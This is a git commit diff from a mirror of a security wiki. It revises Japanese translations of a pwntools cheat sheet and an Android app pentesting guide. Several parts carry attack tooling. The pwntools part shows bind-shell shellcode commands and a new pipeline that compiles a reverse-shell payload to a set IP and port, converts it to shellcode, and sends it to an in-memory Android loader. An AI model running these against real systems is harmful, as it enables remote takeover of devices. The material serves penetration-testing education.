mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/reversing-nati
This commit is contained in:
parent
aa1a1a86c1
commit
1e65996853
@ -353,6 +353,7 @@
|
||||
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
||||
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
||||
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
||||
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
|
||||
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
|
||||
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
||||
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
||||
|
@ -6,21 +6,21 @@ pip3 install pwntools
|
||||
```
|
||||
## Pwn asm
|
||||
|
||||
行またはファイルから**オペコード**を取得します。
|
||||
行またはファイルから **opcodes** を取得する。
|
||||
```
|
||||
pwn asm "jmp esp"
|
||||
pwn asm -i <filepath>
|
||||
```
|
||||
**選択可能:**
|
||||
|
||||
- 出力タイプ (raw, hex, string, elf)
|
||||
- 出力ファイルコンテキスト (16, 32, 64, linux, windows...)
|
||||
- バイトを避ける (改行, null, リスト)
|
||||
- エンコーダを選択し、gdbを使用してデバッグシェルコードを実行する
|
||||
- 出力タイプ (raw,hex,string,elf)
|
||||
- 出力ファイルのコンテキスト (16,32,64,linux,windows...)
|
||||
- 除外するバイト (new lines, null, a list)
|
||||
- エンコーダを選択し、gdbを使用してshellcodeをデバッグし、出力を実行
|
||||
|
||||
## **Pwn checksec**
|
||||
|
||||
Checksecスクリプト
|
||||
Checksecのスクリプト
|
||||
```
|
||||
pwn checksec <executable>
|
||||
```
|
||||
@ -36,11 +36,11 @@ pwn cyclic -l faad
|
||||
**選択可能:**
|
||||
|
||||
- 使用するアルファベット(デフォルトは小文字)
|
||||
- ユニークパターンの長さ(デフォルトは4)
|
||||
- コンテキスト(16,32,64,linux,windows...)
|
||||
- uniq パターンの長さ(デフォルト 4)
|
||||
- context(16,32,64,linux,windows...)
|
||||
- オフセットを取得する(-l)
|
||||
|
||||
## Pwnデバッグ
|
||||
## Pwn debug
|
||||
|
||||
プロセスにGDBをアタッチする
|
||||
```
|
||||
@ -48,33 +48,33 @@ pwn debug --exec /bin/bash
|
||||
pwn debug --pid 1234
|
||||
pwn debug --process bash
|
||||
```
|
||||
**選択可能:**
|
||||
**選択可能:**
|
||||
|
||||
- 実行可能ファイル、名前、または pid コンテキストによって (16,32,64,linux,windows...)
|
||||
- 実行する gdbscript
|
||||
- sysrootpath
|
||||
- 実行ファイル、名前、または pid コンテキストごとに選択可能(16,32,64,linux,windows...)
|
||||
- 実行する gdbscript を指定
|
||||
- sysrootpath を指定
|
||||
|
||||
## Pwn disablenx
|
||||
|
||||
バイナリの nx を無効にする
|
||||
バイナリの nx を無効化する
|
||||
```
|
||||
pwn disablenx <filepath>
|
||||
```
|
||||
## Pwn disasm
|
||||
|
||||
16進数のオペコードを逆アセンブルする
|
||||
hex opcodes を逆アセンブルする
|
||||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
**選択可能:**
|
||||
|
||||
- コンテキスト (16,32,64,linux,windows...)
|
||||
- ベースアドレス
|
||||
- 色 (デフォルト)/色なし
|
||||
- context (16,32,64,linux,windows...)
|
||||
- base addres
|
||||
- color(default)/no color
|
||||
|
||||
## Pwn elfdiff
|
||||
|
||||
2つのファイルの違いを表示します
|
||||
2つのファイルの差分を表示する
|
||||
```
|
||||
pwn elfdiff <file1> <file2>
|
||||
```
|
||||
@ -86,15 +86,15 @@ pwn hex hola #Get hex of "hola" ascii
|
||||
```
|
||||
## Pwn phd
|
||||
|
||||
hexdumpを取得する
|
||||
hexdumpを取得
|
||||
```
|
||||
pwn phd <file>
|
||||
```
|
||||
**選択可能:**
|
||||
|
||||
- 表示するバイト数
|
||||
- 行ごとのハイライトバイト数
|
||||
- 開始時にスキップするバイト数
|
||||
- 1行あたりのバイト数(ハイライト用)
|
||||
- 先頭からスキップするバイト数
|
||||
|
||||
## Pwn pwnstrip
|
||||
|
||||
@ -102,7 +102,7 @@ pwn phd <file>
|
||||
|
||||
## Pwn shellcraft
|
||||
|
||||
シェルコードを取得する
|
||||
shellcodes を取得
|
||||
```
|
||||
pwn shellcraft -l #List shellcodes
|
||||
pwn shellcraft -l amd #Shellcode with amd in the name
|
||||
@ -112,37 +112,70 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
```
|
||||
**選択可能:**
|
||||
|
||||
- シェルコードとシェルコードの引数
|
||||
- shellcode と shellcode の引数
|
||||
- 出力ファイル
|
||||
- 出力形式
|
||||
- デバッグ(シェルコードにdbgをアタッチ)
|
||||
- 前(コードの前にデバッグトラップ)
|
||||
- 後
|
||||
- オペコードの使用を避ける(デフォルト: nullおよび改行なし)
|
||||
- シェルコードを実行
|
||||
- カラー/ノーカラー
|
||||
- システムコールのリスト
|
||||
- 可能なシェルコードのリスト
|
||||
- 共有ライブラリとしてELFを生成
|
||||
- debug(shellcode に dbg をアタッチ)
|
||||
- before(コード前のデバッグトラップ)
|
||||
- after
|
||||
- opcodes を使わない(デフォルト: null と改行を避ける)
|
||||
- shellcode を実行
|
||||
- カラー / ノンカラー
|
||||
- syscalls を一覧表示
|
||||
- 利用可能な shellcodes を一覧表示
|
||||
- ELF を共有ライブラリとして生成
|
||||
|
||||
## Pwnテンプレート
|
||||
## Pwn template
|
||||
|
||||
Pythonテンプレートを取得
|
||||
python テンプレートを取得
|
||||
```
|
||||
pwn template
|
||||
```
|
||||
**選択可能:** ホスト、ポート、ユーザー、パス、パス、クワイエット
|
||||
**選択可能:** host, port, user, pass, path and quiet
|
||||
|
||||
## Pwn unhex
|
||||
|
||||
16進数から文字列へ
|
||||
hex から string に変換
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
## Pwn 更新
|
||||
## Pwnの更新
|
||||
|
||||
pwntoolsを更新するには
|
||||
```
|
||||
pwn update
|
||||
```
|
||||
## ELF → raw shellcode packaging (loader_append)
|
||||
|
||||
Pwntools はスタンドアロンの ELF を単一の raw shellcode ブロブに変換し、そのセグメントを自己マップして元の entrypoint に実行を移すことができます。これは、メモリのみのローダー(例: Android アプリが JNI を呼び出してダウンロードしたバイトを実行する場合)に最適です。
|
||||
|
||||
Typical pipeline (amd64 example)
|
||||
|
||||
1) static かつ position‑independent な payload ELF をビルドする(移植性のため musl 推奨):
|
||||
```bash
|
||||
musl-gcc -O3 -s -static -o exploit exploit.c \
|
||||
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
|
||||
```
|
||||
2) ELF を shellcode に pwntools で変換する:
|
||||
```python
|
||||
# exp2sc.py
|
||||
from pwn import *
|
||||
context.clear(arch='amd64')
|
||||
elf = ELF('./exploit')
|
||||
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
|
||||
open('sc','wb').write(sc)
|
||||
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
|
||||
```
|
||||
3) sc をメモリローダー(例:HTTP[S] 経由)に届け、プロセス内で実行する。
|
||||
|
||||
Notes
|
||||
- loader_append は元の ELF プログラムを shellcode に埋め込み、セグメントを mmaps してエントリにジャンプする小さなローダーを生成する。
|
||||
- context.clear(arch=...) でアーキテクチャを明示すること。arm64 は Android で一般的。
|
||||
- ペイロードのコードは position‑independent に保ち、プロセスの ASLR/NX に関する前提を避けること。
|
||||
|
||||
## References
|
||||
|
||||
- [Pwntools](https://docs.pwntools.com/en/stable/)
|
||||
- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,10 @@
|
||||
# Android アプリケーションのPentesting
|
||||
# Android アプリケーション Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Android アプリケーションの基本
|
||||
## Android Applications Basics
|
||||
|
||||
このページは、**Android セキュリティに関連する最も重要な部分と、Android アプリケーション内で最も危険なコンポーネント**について知るために、まず読むことを強くおすすめします:
|
||||
このページを最初に読むことを強く推奨します。**Android セキュリティに関連する最も重要な部分と、Android アプリケーションで最も危険なコンポーネント**について理解するためです:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -13,24 +13,24 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
これは、エミュレートされたものでも実機でも、Android デバイスに接続するために必要な主要なツールです。\
|
||||
**ADB** を使用すると、コンピュータから **USB** または **Network** 経由でデバイスを制御できます。このユーティリティは、ファイルの双方向の **コピー**、アプリの **インストール** と **アンインストール**、シェルコマンドの **実行**、データの **バックアップ**、ログの **読み取り** などの機能を提供します。
|
||||
これは、エミュレータでも実機でも Android デバイスに接続するために必要な主要なツールです。\
|
||||
**ADB** はコンピュータから **USB** または **Network** 経由でデバイスを制御できます。このユーティリティはファイルの双方向の **コピー**、アプリの **インストール** と **アンインストール**、シェルコマンドの **実行**、データの **バックアップ**、ログの **読み取り** などの機能を提供します。
|
||||
|
||||
adb の使い方を学ぶには、以下の [**ADB Commands**](adb-commands.md) のリストを参照してください。
|
||||
adbの使用方法を学ぶには、次の[**ADB Commands**](adb-commands.md)のリストを参照してください。
|
||||
|
||||
## Smali
|
||||
|
||||
時には、**アプリケーションのコードを修正**して **隠された情報**(難読化されたパスワードやフラグなど)にアクセスすることが有益です。その場合、apk をデコンパイルしてコードを修正し、再コンパイルすることが考えられます。\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md)。これは、これから紹介する動的解析におけるいくつかのテストに対する代替手段として非常に役立つ可能性があります。したがって、この可能性を常に念頭に置いてください。
|
||||
時には、**modify the application code** によって **hidden information**(難読化されたパスワードやフラグなど)にアクセスすることが有用です。その場合、APKを逆コンパイルしてコードを修正し、再コンパイルすることが役立つことがあります。\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). これは、これから紹介する動的解析中のいくつかのテストに対する**代替手段**として非常に有用です。したがって、この可能性を**常に念頭に置いて**ください。
|
||||
|
||||
## その他の興味深いトリック
|
||||
## Other interesting tricks
|
||||
|
||||
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- デバイスからAPKを抽出する:
|
||||
- デバイスからAPKを抽出:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -63,36 +63,37 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
## 静的解析
|
||||
|
||||
まず、APKを解析するには、decompiler を使って**Java コードを確認する**べきです。\
|
||||
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
|
||||
まず第一に、APK を解析するにはデコンパイラを使って **Java コードを確認する** 必要があります。\
|
||||
[**ここを読んで利用可能な各種 decompiler に関する情報を見つけてください**](apk-decompilers.md)。
|
||||
|
||||
### 興味深い情報の探索
|
||||
|
||||
APKの**strings**を確認するだけで、**passwords**、**URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** keys、**encryption**、**bluetooth uuids**、**tokens** などを検索できます。コード実行の**backdoors**や認証用のbackdoors(hardcoded admin credentials to the app)さえ探してください。
|
||||
APK の **strings** を見るだけでも、**passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** などの興味深い情報を検索できます… コード実行の **backdoors** や認証 backdoors(アプリにハードコードされた管理者資格情報)も探してください。
|
||||
|
||||
**Firebase**
|
||||
Firebase
|
||||
|
||||
**firebase URLs**に特に注意し、設定が不適切でないか確認してください。[More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
**firebase URLs** に特に注意を払い、設定が不適切でないか確認してください。 [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### アプリケーションの基本的理解 - Manifest.xml, strings.xml
|
||||
### アプリケーションの基本理解 - Manifest.xml, strings.xml
|
||||
|
||||
アプリケーションの _Manifest.xml_ および _strings.xml_ ファイルの**調査は潜在的なセキュリティ脆弱性を明らかにする**ことがあります。これらのファイルは decompiler を使うか、APK の拡張子を .zip に変更して解凍することでアクセスできます。
|
||||
アプリケーションの _Manifest.xml_ と **_strings.xml_** ファイルを調査することで、潜在的なセキュリティ脆弱性が明らかになることがあります。これらのファイルはデコンパイラを使うか、APK の拡張子を .zip に変更して展開することでアクセスできます。
|
||||
|
||||
**Manifest.xml** から特定できる **脆弱性** には次のものがあります:
|
||||
**Manifest.xml** から特定される脆弱性には次のものが含まれます:
|
||||
|
||||
- **Debuggable Applications**: _Manifest.xml_ で `debuggable="true"` に設定されたアプリケーションは、接続を許可してしまい、悪用に繋がるリスクがあります。デバッガブルなアプリをデバイス上で見つけて悪用する方法についてはチュートリアルを参照してください。
|
||||
- **Backup Settings**: `android:allowBackup="false"` 属性は、usb debugging が有効な場合などに adb 経由でのデータバックアップによる不正アクセスを防ぐため、機密情報を扱うアプリでは明示的に false に設定する必要があります。
|
||||
- **Network Security**: `android:networkSecurityConfig="@xml/network_security_config"` のようなカスタムネットワークセキュリティ設定(_res/xml/_ 内)は、証明書ピンや HTTP トラフィックの許可設定などのセキュリティ詳細を指定できます。例えば特定ドメインへの HTTP トラフィックを許可する設定などがあります。
|
||||
- **Exported Activities and Services**: マニフェスト内でエクスポートされた activities や services を特定することで、悪用される可能性のあるコンポーネントが明らかになります。動的テスト中にこれらをさらに解析すると、どのように悪用できるかが分かります。
|
||||
- **Content Providers and FileProviders**: 公開された content providers はデータへの不正アクセスや変更を許す可能性があります。FileProviders の設定も詳しく調べるべきです。
|
||||
- **Broadcast Receivers and URL Schemes**: これらのコンポーネントは悪用の足がかりになり得ます。特に URL スキームの扱い方が入力に対する脆弱性を生まないか注意してください。
|
||||
- **SDK Versions**: `minSdkVersion`、`targetSDKVersion`、`maxSdkVersion` 属性はサポートする Android バージョンを示します。古く脆弱な Android バージョンをサポートし続けることの危険性が分かります。
|
||||
- **Debuggable Applications**: _Manifest.xml_ 内で `debuggable="true"` に設定されたアプリは危険です。デバッグ接続が許可され、これにより悪用される可能性があります。デバッグ可能なアプリの発見と悪用方法については、デバイス上の debuggable アプリを見つけて悪用するチュートリアルを参照してください。
|
||||
- **Backup Settings**: 機密情報を扱うアプリでは、`android:allowBackup="false"` を明示的に設定しておくべきです。特に usb debugging が有効な場合、adb 経由での無許可なデータバックアップを防ぐためです。
|
||||
- **Network Security**: カスタムなネットワークセキュリティ設定(`android:networkSecurityConfig="@xml/network_security_config"`)は、res/xml/ にあり、証明書ピンや HTTP トラフィックの設定などのセキュリティ詳細を指定できます。例として、特定ドメインに対して HTTP トラフィックを許可する設定があります。
|
||||
- **Exported Activities and Services**: マニフェスト内でエクスポートされた activities や services を特定すると、悪用される可能性のあるコンポーネントが明らかになります。ダイナミックテスト中にこれらのコンポーネントをどのように悪用できるかを詳しく分析してください。
|
||||
- **Content Providers and FileProviders**: 公開された content providers はデータの無許可アクセスや改ざんを許す可能性があります。FileProviders の設定も精査すべきです。
|
||||
- **Broadcast Receivers and URL Schemes**: これらのコンポーネントは悪用される可能性があり、特に URL スキームが入力に対してどのように扱われているかに注意してください。
|
||||
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` の属性はサポートされる Android バージョンを示します。古く脆弱な Android バージョンをサポートしないことがセキュリティ上重要です。
|
||||
|
||||
**strings.xml** からは、API keys、カスタムスキーマ、その他の開発者メモなどの機密情報が見つかることがあり、これらのリソースは慎重に確認する必要があります。
|
||||
**strings.xml** ファイルからは、API キー、カスタムスキーマ、その他開発者メモなどの機密情報が見つかることがあり、これらのリソースを注意深く確認する必要があります。
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** は、**malicious application** を起動して **被害アプリの上に自身を配置**する攻撃です。被害アプリを視覚的に覆った後、マルウェアの UI はユーザーを騙して操作させるように設計されており、その操作を被害アプリに転送します。結果として、ユーザーは実際には被害アプリ上で操作を行っていることに気付かなくなります。
|
||||
Tapjacking は、悪意のあるアプリケーションが被害者アプリの上に位置して起動する攻撃です。被害者アプリを視覚的に覆った状態で、悪意のある UI がユーザを騙して操作させ、その操作を被害者アプリに透過的に渡すよう設計されています。\
|
||||
結果的に、ユーザは実際には被害者アプリ上で操作を行っていることに気づかされないまま操作してしまいます。
|
||||
|
||||
Find more information in:
|
||||
|
||||
@ -103,7 +104,7 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
`launchMode` が **`singleTask`** に設定され、かつ `taskAffinity` が定義されていない **activity** は **Task Hijacking** の脆弱性があります。つまり、別の**application**をインストールしてそれを本物のアプリより先に起動すると、**本物のアプリの task を乗っ取ってしまう**可能性があり(ユーザーは本物のアプリを使っているつもりで実は悪意あるアプリを操作している)、その結果ユーザーを騙すことができます。
|
||||
`launchMode` が **singleTask** に設定され、かつ `taskAffinity` が定義されていない **activity** は Task Hijacking に対して脆弱です。これは、悪意のあるアプリをインストールして本物のアプリより先に起動すると、**本物のアプリのタスクを乗っ取る** 可能性があることを意味します(そのためユーザは本物のアプリを使っていると思い込み、実際には悪意のあるアプリとやり取りしていることになります)。
|
||||
|
||||
More info in:
|
||||
|
||||
@ -112,46 +113,46 @@ More info in:
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### 不適切なデータ保存
|
||||
### 安全でないデータ保存
|
||||
|
||||
**内部ストレージ**
|
||||
Internal Storage
|
||||
|
||||
Android では、**internal** ストレージに**保存**されたファイルはそれを**作成したアプリだけがアクセスできる**よう設計されています。このセキュリティ対策は Android OS によって強制され、ほとんどのアプリのセキュリティ要件には十分です。ただし、開発者が `MODE_WORLD_READABLE` や `MODE_WORLD_WRITABLE` のようなモードを利用してファイルを異なるアプリ間で**共有**できるようにする場合があります。しかし、これらのモードは他のアプリ(潜在的に malicious なものを含む)によるファイルへのアクセスを制限しません。
|
||||
Android では、内部ストレージに格納されたファイルはそれを作成したアプリのみがアクセスできるように設計されています。このセキュリティ対策は OS により強制され、多くのアプリのセキュリティ要件には概ね十分です。しかし、開発者が `MODE_WORLD_READABLE` や `MODE_WORLD_WRITABLE` といったモードを利用してファイルを他のアプリ間で共有することがあります。これらのモードは、潜在的に悪意のあるアプリを含む他のアプリからのアクセスを制限しません。
|
||||
|
||||
1. **Static Analysis:**
|
||||
- `MODE_WORLD_READABLE` と `MODE_WORLD_WRITABLE` の使用は慎重に精査してください。これらのモードはファイルを意図しない、または不正なアクセスに晒す可能性があります。
|
||||
- `MODE_WORLD_READABLE` と `MODE_WORLD_WRITABLE` の使用は注意深く精査してください。これらのモードはファイルを意図しない、または無許可のアクセスにさらす可能性があります。
|
||||
2. **Dynamic Analysis:**
|
||||
- アプリが作成するファイルの**パーミッション**を確認してください。特に、ファイルが world-readable や world-writable に設定されていないかをチェックします。これが有効だと、デバイスにインストールされた**任意のアプリ**がこれらのファイルを読み書きできてしまうため重大なセキュリティリスクを生じます。
|
||||
- アプリが作成するファイルに設定された権限を確認してください。特に、ファイルが世界中で読み取り可能または書き込み可能に設定されていないかをチェックします。これがあると、デバイスにインストールされた任意のアプリが、その出所や意図に関係なくこれらのファイルを読み取り・変更できる重大なリスクになります。
|
||||
|
||||
**外部ストレージ**
|
||||
External Storage
|
||||
|
||||
SD カードのような **external storage** 上のファイルを扱う際には、以下の点に注意してください:
|
||||
SD カードなどの **external storage** 上のファイルを扱う際には、次の点に注意してください:
|
||||
|
||||
1. **Accessibility**:
|
||||
- 外部ストレージ上のファイルは**グローバルに読み書き可能**です。つまり、任意のアプリやユーザーがアクセスできます。
|
||||
- external storage 上のファイルはグローバルに読み書き可能です。つまり、任意のアプリやユーザがこれらのファイルにアクセスできます。
|
||||
2. **Security Concerns**:
|
||||
- このような容易なアクセス性のため、機密情報を外部ストレージに保存しないことが推奨されます。
|
||||
- 外部ストレージは取り外し可能であり、任意のアプリからアクセスされ得るため、セキュリティ的に不利です。
|
||||
- アクセスが容易なため、機密情報を external storage に保存しないことが推奨されます。
|
||||
- external storage は取り外されたり、任意のアプリによってアクセスされる可能性があり、より安全性が低くなります。
|
||||
3. **Handling Data from External Storage**:
|
||||
- 外部ストレージから取得したデータは常に**入力検証**を行ってください。外部ストレージのデータは信頼できないソースと見なすべきです。
|
||||
- 外部ストレージに実行可能ファイルや class ファイルを置いて動的にロードすることは強く非推奨です。
|
||||
- どうしても外部ストレージから実行可能ファイルを取得する必要がある場合、それらのファイルが**署名され、暗号的に検証済み**であることを確認してから動的にロードしてください。これはアプリケーションのセキュリティ整合性を維持する上で重要です。
|
||||
- external storage から取得したデータには常に入力検証を行ってください。これは、データが信頼できないソースから来るため重要です。
|
||||
- external storage に実行ファイルや class ファイルを置き、動的にロードすることは強く非推奨です。
|
||||
- アプリが external storage から実行可能ファイルを取得する必要がある場合、それらのファイルが動的にロードされる前に署名され暗号的に検証されていることを確認してください。これはアプリのセキュリティ整合性を維持するために重要です。
|
||||
|
||||
外部ストレージには `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` からアクセスできます。
|
||||
External storage は `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` でアクセスできます
|
||||
|
||||
> [!TIP]
|
||||
> Android 4.4(**API 17**)以降、SD カードはディレクトリ構造を持ち、アプリからはそのアプリ専用のディレクトリへのアクセスのみが制限されるようになりました。これにより、悪意あるアプリが別のアプリのファイルに対して読み書きアクセスを得ることを防ぎます。
|
||||
> Android 4.4(**API 17**)以降、SD カードにはアプリごとに専用のディレクトリ構造があり、アプリがアクセスできるのはそのアプリ専用のディレクトリに限定されます。これにより、悪意のあるアプリが別のアプリのファイルへ読み書きアクセスすることを防ぎます。
|
||||
|
||||
**平文で保存された機密データ**
|
||||
|
||||
- **Shared preferences**: Android は各アプリが `/data/data/<packagename>/shared_prefs/` に簡単に xml ファイルを保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。
|
||||
- **Databases**: Android は各アプリが `/data/data/<packagename>/databases/` に sqlite データベースを保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。
|
||||
- **Shared preferences**: Android は各アプリが簡単に xml ファイルを `/data/data/<packagename>/shared_prefs/` に保存できるようにしており、そのフォルダ内に平文で機密情報が保存されていることが時々あります。
|
||||
- **Databases**: Android は各アプリが簡単に sqlite データベースを `/data/data/<packagename>/databases/` に保存できるようにしており、そのフォルダ内に平文で機密情報が保存されていることもあります。
|
||||
|
||||
### Broken TLS
|
||||
|
||||
**Accept All Certificates**
|
||||
Accept All Certificates
|
||||
|
||||
なぜか開発者が全ての証明書を受け入れてしまうことがあります。例えばホスト名が一致しない場合でも、次のようなコード行で全てを受け入れてしまうことがあります:
|
||||
なぜか開発者がすべての証明書を受け入れてしまうことがあります。例えばホスト名が一致しなくても以下のようなコード行で受け入れてしまうことがあります:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
@ -162,19 +163,19 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
||||
|
||||
**Poor Key Management Processes**
|
||||
|
||||
一部の開発者はセンシティブなデータをローカルストレージに保存し、コード内にハードコーディング/予測可能なキーで暗号化しています。reversing によって攻撃者が機密情報を抽出できる可能性があるため、これは避けるべきです。
|
||||
一部の開発者は機密データをローカルストレージに保存し、コード内にハードコード/予測可能なキーで暗号化します。これは推奨されません。リバースエンジニアリングによって攻撃者が機密情報を抽出できる可能性があるためです。
|
||||
|
||||
**Use of Insecure and/or Deprecated Algorithms**
|
||||
|
||||
開発者は認証チェック、データの保存や送信に **deprecated algorithms** を使うべきではありません。例としては RC4、MD4、MD5、SHA1 などがあります。例えばパスワード保存に **hashes** を使う場合は、salt を用いた brute-force 抵抗性のあるハッシュを使うべきです。
|
||||
開発者は認可の**checks**、データの**store**や**send**に**deprecated algorithms**を使用してはいけません。これらのアルゴリズムの例には RC4、MD4、MD5、SHA1 などがあります。例えばパスワードの保存に**hashes**を用いる場合、ソルト付きで総当たり攻撃に**resistant**なハッシュを使用するべきです。
|
||||
|
||||
### Other checks
|
||||
|
||||
- It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers.
|
||||
- If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence.
|
||||
- If the app is sensitive (like bank apps), it should check if an **emulator** is being used.
|
||||
- If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified.
|
||||
- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK
|
||||
- APKを**obfuscate**して、攻撃者によるリバースエンジニアリングの労力を増やすことを推奨します。
|
||||
- アプリが機密性の高いものである場合(銀行アプリ等)、**own checks to see if the mobile is rooted** を実行し、それに応じて処理するべきです。
|
||||
- アプリが機密性の高いものである場合(銀行アプリ等)、**emulator** が使用されているかどうかをチェックするべきです。
|
||||
- アプリが機密性の高いものである場合(銀行アプリ等)、実行前に**check it's own integrity before executing**して改変されていないか確認するべきです。
|
||||
- APKのビルドにどの compiler/packer/obfuscator が使われたかを確認するには [**APKiD**](https://github.com/rednaga/APKiD) を使用してください
|
||||
|
||||
### React Native Application
|
||||
|
||||
@ -200,13 +201,13 @@ According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpa
|
||||
|
||||
### Automated Static Code Analysis
|
||||
|
||||
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
|
||||
ツール [**mariana-trench**](https://github.com/facebook/mariana-trench) はアプリケーションの**code**を**scanning**して**vulnerabilities**を発見することができます。このツールは一連の**known sources**(ツールに対して**places**を示し、そこでの**input**が**controlled by the user**である場所)、**sinks**(悪意あるユーザ入力が被害を引き起こす可能性のある**dangerous**な**places**)および**rules**を含みます。これらの**rules**は、脆弱性を示す**sources-sinks**の**combination**を指します。
|
||||
|
||||
With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
|
||||
この知識を基に、**mariana-trench will review the code and find possible vulnerabilities on it**。
|
||||
|
||||
### Secrets leaked
|
||||
|
||||
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could use a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Bypass Biometric Authentication
|
||||
|
||||
@ -221,6 +222,11 @@ bypass-biometric-authentication-android.md
|
||||
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
|
||||
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
|
||||
- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call):
|
||||
|
||||
{{#ref}}
|
||||
in-memory-jni-shellcode-execution.md
|
||||
{{#endref}}
|
||||
|
||||
### **Other tricks**
|
||||
|
||||
@ -239,64 +245,62 @@ content-protocol.md
|
||||
|
||||
### Online Dynamic analysis
|
||||
|
||||
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
|
||||
次のサイトで**free account**を作成できます: [https://appetize.io/](https://appetize.io). このプラットフォームでは APK を**upload**して**execute**できるため、APK の挙動を確認するのに便利です。
|
||||
|
||||
You can even **see the logs of your application** in the web and connect through **adb**.
|
||||
ウェブ上で**see the logs of your application**したり、**adb**を通じて接続することもできます。
|
||||
|
||||
.png>)
|
||||
|
||||
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
|
||||
ADB 接続のおかげで、エミュレータ内で **Drozer** や **Frida** を使用できます。
|
||||
|
||||
### Local Dynamic Analysis
|
||||
|
||||
#### Using an emulator
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
|
||||
